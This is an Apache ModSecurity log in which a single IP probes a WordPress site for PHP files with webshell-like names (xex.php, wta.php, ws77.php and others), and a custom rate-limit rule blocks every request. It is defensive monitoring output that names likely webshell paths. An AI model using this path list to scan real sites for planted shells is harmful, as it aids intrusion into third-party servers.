[Sun Mar 29 02:19:30.669762 2026] [:error] [pid 60346:tid 60367] [client 20.197.233.108:23397] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex.php"] [unique_id "acgbsnVrXSgLxlxLi9A8OwAAARA"]
[Sun Mar 29 02:19:31.299905 2026] [:error] [pid 39428:tid 39466] [client 20.197.233.108:15358] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex.php"] [unique_id "acgbs6XMrozFMIaP8nIDcQAAAEc"]
[Sun Mar 29 02:19:31.920525 2026] [:error] [pid 39429:tid 39507] [client 20.197.233.108:23411] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "acgbs08pSj6sqgZaItnmJwAAAJU"]
[Sun Mar 29 02:19:32.567514 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:15351] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "acgbtHVrXSgLxlxLi9A8PgAAARI"]
[Sun Mar 29 02:19:33.187521 2026] [:error] [pid 39428:tid 39467] [client 20.197.233.108:23374] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "acgbtaXMrozFMIaP8nIDdgAAAEg"]
[Sun Mar 29 02:19:33.811470 2026] [:error] [pid 39427:tid 39453] [client 20.197.233.108:23415] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wta.php"] [unique_id "acgbtVvLf0RDUqcYq-ZPzgAAABU"]
[Sun Mar 29 02:19:34.429120 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:22948] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acgbtnVrXSgLxlxLi9A8RAAAAQI"]
[Sun Mar 29 02:19:35.052709 2026] [:error] [pid 39428:tid 39482] [client 20.197.233.108:15339] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acgbt6XMrozFMIaP8nIDeAAAAFc"]
[Sun Mar 29 02:19:35.675710 2026] [:error] [pid 39428:tid 39472] [client 20.197.233.108:23371] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acgbt6XMrozFMIaP8nIDfAAAAE0"]
[Sun Mar 29 02:19:36.307145 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:23398] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/dtyh.php"] [unique_id "acgbuHVrXSgLxlxLi9A8SQAAAQM"]
[Sun Mar 29 02:19:36.933672 2026] [:error] [pid 39428:tid 39478] [client 20.197.233.108:22963] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dtyh.php"] [unique_id "acgbuKXMrozFMIaP8nIDfwAAAFM"]
[Sun Mar 29 02:19:37.562552 2026] [:error] [pid 39428:tid 39477] [client 20.197.233.108:23404] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dtyh.php"] [unique_id "acgbuaXMrozFMIaP8nIDgAAAAFI"]
[Sun Mar 29 02:19:38.232564 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:23304] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dtyh.php"] [unique_id "acgbunVrXSgLxlxLi9A8UAAAAQI"]
[Sun Mar 29 02:19:38.866070 2026] [:error] [pid 39429:tid 39497] [client 20.197.233.108:23296] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dtyh.php"] [unique_id "acgbuk8pSj6sqgZaItnmKQAAAIs"]
[Sun Mar 29 02:19:39.510186 2026] [:error] [pid 39428:tid 39473] [client 20.197.233.108:23321] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acgbu6XMrozFMIaP8nIDhAAAAE4"]
[Sun Mar 29 02:19:40.155050 2026] [:error] [pid 60346:tid 60367] [client 20.197.233.108:23299] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acgbvHVrXSgLxlxLi9A8UwAAARA"]
[Sun Mar 29 02:19:40.792814 2026] [:error] [pid 39428:tid 39482] [client 20.197.233.108:23414] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acgbvKXMrozFMIaP8nIDhQAAAFc"]
[Sun Mar 29 02:19:41.427428 2026] [:error] [pid 39428:tid 39483] [client 20.197.233.108:15328] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wta.php"] [unique_id "acgbvaXMrozFMIaP8nIDhgAAAFg"]
[Sun Mar 29 02:19:42.066543 2026] [:error] [pid 39427:tid 39446] [client 20.197.233.108:23364] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acgbvlvLf0RDUqcYq-ZP0wAAAA4"]
[Sun Mar 29 02:19:42.702693 2026] [:error] [pid 39428:tid 39463] [client 20.197.233.108:23400] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acgbvqXMrozFMIaP8nIDiAAAAEQ"]
[Sun Mar 29 02:19:43.325497 2026] [:error] [pid 39427:tid 39448] [client 20.197.233.108:23097] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acgbv1vLf0RDUqcYq-ZP1gAAABA"]
[Sun Mar 29 02:19:43.963115 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:15322] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acgbv3VrXSgLxlxLi9A8WgAAAQI"]
[Sun Mar 29 02:19:44.588354 2026] [:error] [pid 39429:tid 39488] [client 20.197.233.108:23412] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acgbwE8pSj6sqgZaItnmLwAAAII"]
[Sun Mar 29 02:19:45.225073 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:23418] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acgbwXVrXSgLxlxLi9A8XwAAAQw"]
[Sun Mar 29 02:19:45.868718 2026] [:error] [pid 39427:tid 39453] [client 20.197.233.108:22971] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acgbwVvLf0RDUqcYq-ZP3AAAABU"]
[Sun Mar 29 02:19:46.493425 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:23390] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws86.php"] [unique_id "acgbwnVrXSgLxlxLi9A8YwAAAQk"]
[Sun Mar 29 02:19:47.111327 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:23348] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acgbwykUyvlQod6qQu2k9QAAANM"]
[Sun Mar 29 02:19:47.734935 2026] [:error] [pid 39514:tid 39550] [client 20.197.233.108:15332] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acgbwykUyvlQod6qQu2k-AAAANg"]
[Sun Mar 29 02:19:48.357739 2026] [:error] [pid 39427:tid 39446] [client 20.197.233.108:23318] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acgbxFvLf0RDUqcYq-ZP4gAAAA4"]
[Sun Mar 29 02:19:48.978730 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:23379] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saorix1.php"] [unique_id "acgbxHVrXSgLxlxLi9A8aAAAAQI"]
[Sun Mar 29 02:19:49.599525 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:15356] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "acgbxU8pSj6sqgZaItnmNQAAAIY"]
[Sun Mar 29 02:20:05.964155 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:23383] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uang.php"] [unique_id "acgb1XVrXSgLxlxLi9A8lQAAAQk"]
[Sun Mar 29 02:20:06.585769 2026] [:error] [pid 39429:tid 39498] [client 20.197.233.108:22924] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uang.php"] [unique_id "acgb1k8pSj6sqgZaItnmSQAAAIw"]
[Sun Mar 29 02:20:07.216372 2026] [:error] [pid 39427:tid 39438] [client 20.197.233.108:23262] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uang.php"] [unique_id "acgb11vLf0RDUqcYq-ZP6gAAAAY"]
[Sun Mar 29 02:20:07.838399 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:15335] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uang.php"] [unique_id "acgb13VrXSgLxlxLi9A8ngAAAQI"]
[Sun Mar 29 02:20:08.457287 2026] [:error] [pid 39427:tid 39443] [client 20.197.233.108:15338] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acgb2FvLf0RDUqcYq-ZP7QAAAAs"]
[Sun Mar 29 02:20:09.081923 2026] [:error] [pid 60346:tid 60365] [client 20.197.233.108:23410] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acgb2XVrXSgLxlxLi9A8nwAAAQ4"]
[Sun Mar 29 02:20:09.697150 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:23317] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acgb2XVrXSgLxlxLi9A8owAAARI"]
[Sun Mar 29 02:20:10.317340 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:22964] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp3.php"] [unique_id "acgb2nVrXSgLxlxLi9A8pgAAAQo"]
[Sun Mar 29 02:20:10.935133 2026] [:error] [pid 39428:tid 39466] [client 20.197.233.108:23077] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acgb2qXMrozFMIaP8nIDkgAAAEc"]
[Sun Mar 29 02:20:11.557599 2026] [:error] [pid 39429:tid 39506] [client 20.197.233.108:23101] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acgb208pSj6sqgZaItnmTwAAAJQ"]
[Sun Mar 29 02:20:12.190738 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:15312] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acgb3FvLf0RDUqcYq-ZP8wAAAAk"]
[Sun Mar 29 02:20:12.818708 2026] [:error] [pid 39428:tid 39459] [client 20.197.233.108:23170] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "acgb3KXMrozFMIaP8nIDkwAAAEA"]
[Sun Mar 29 02:20:13.457262 2026] [:error] [pid 39428:tid 39463] [client 20.197.233.108:23361] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acgb3aXMrozFMIaP8nIDlQAAAEQ"]
[Sun Mar 29 02:20:14.076378 2026] [:error] [pid 39427:tid 39439] [client 20.197.233.108:23369] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acgb3lvLf0RDUqcYq-ZP9gAAAAc"]
[Sun Mar 29 02:20:14.694445 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:23406] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acgb3nVrXSgLxlxLi9A8qwAAAQs"]
[Sun Mar 29 02:20:15.311701 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:15346] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acgb33VrXSgLxlxLi9A8rwAAAQY"]
[Sun Mar 29 02:20:15.930779 2026] [:error] [pid 39427:tid 39440] [client 20.197.233.108:23324] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ticket.php"] [unique_id "acgb31vLf0RDUqcYq-ZP-QAAAAg"]
[Sun Mar 29 02:20:16.563085 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:15359] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ticket.php"] [unique_id "acgb4HVrXSgLxlxLi9A8sgAAAQw"]
[Sun Mar 29 02:20:17.181814 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:15355] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ticket.php"] [unique_id "acgb4VvLf0RDUqcYq-ZP-wAAABc"]
[Sun Mar 29 02:20:17.800323 2026] [:error] [pid 39428:tid 39475] [client 20.197.233.108:23417] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ticket.php"] [unique_id "acgb4aXMrozFMIaP8nIDmAAAAFA"]
[Sun Mar 29 02:20:18.418909 2026] [:error] [pid 60346:tid 60355] [client 20.197.233.108:23088] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "acgb4nVrXSgLxlxLi9A8uAAAAQQ"]
[Sun Mar 29 02:20:19.037201 2026] [:error] [pid 39427:tid 39450] [client 20.197.233.108:23322] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "acgb41vLf0RDUqcYq-ZP_gAAABI"]
[Sun Mar 29 02:20:19.654773 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:23306] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "acgb43VrXSgLxlxLi9A8vQAAARE"]
[Sun Mar 29 02:20:20.277475 2026] [:error] [pid 39427:tid 39437] [client 20.197.233.108:23347] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "acgb5FvLf0RDUqcYq-ZQAQAAAAU"]
[Sun Mar 29 02:20:20.907720 2026] [:error] [pid 39427:tid 39453] [client 20.197.233.108:23064] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xpwer1.php"] [unique_id "acgb5FvLf0RDUqcYq-ZQAgAAABU"]
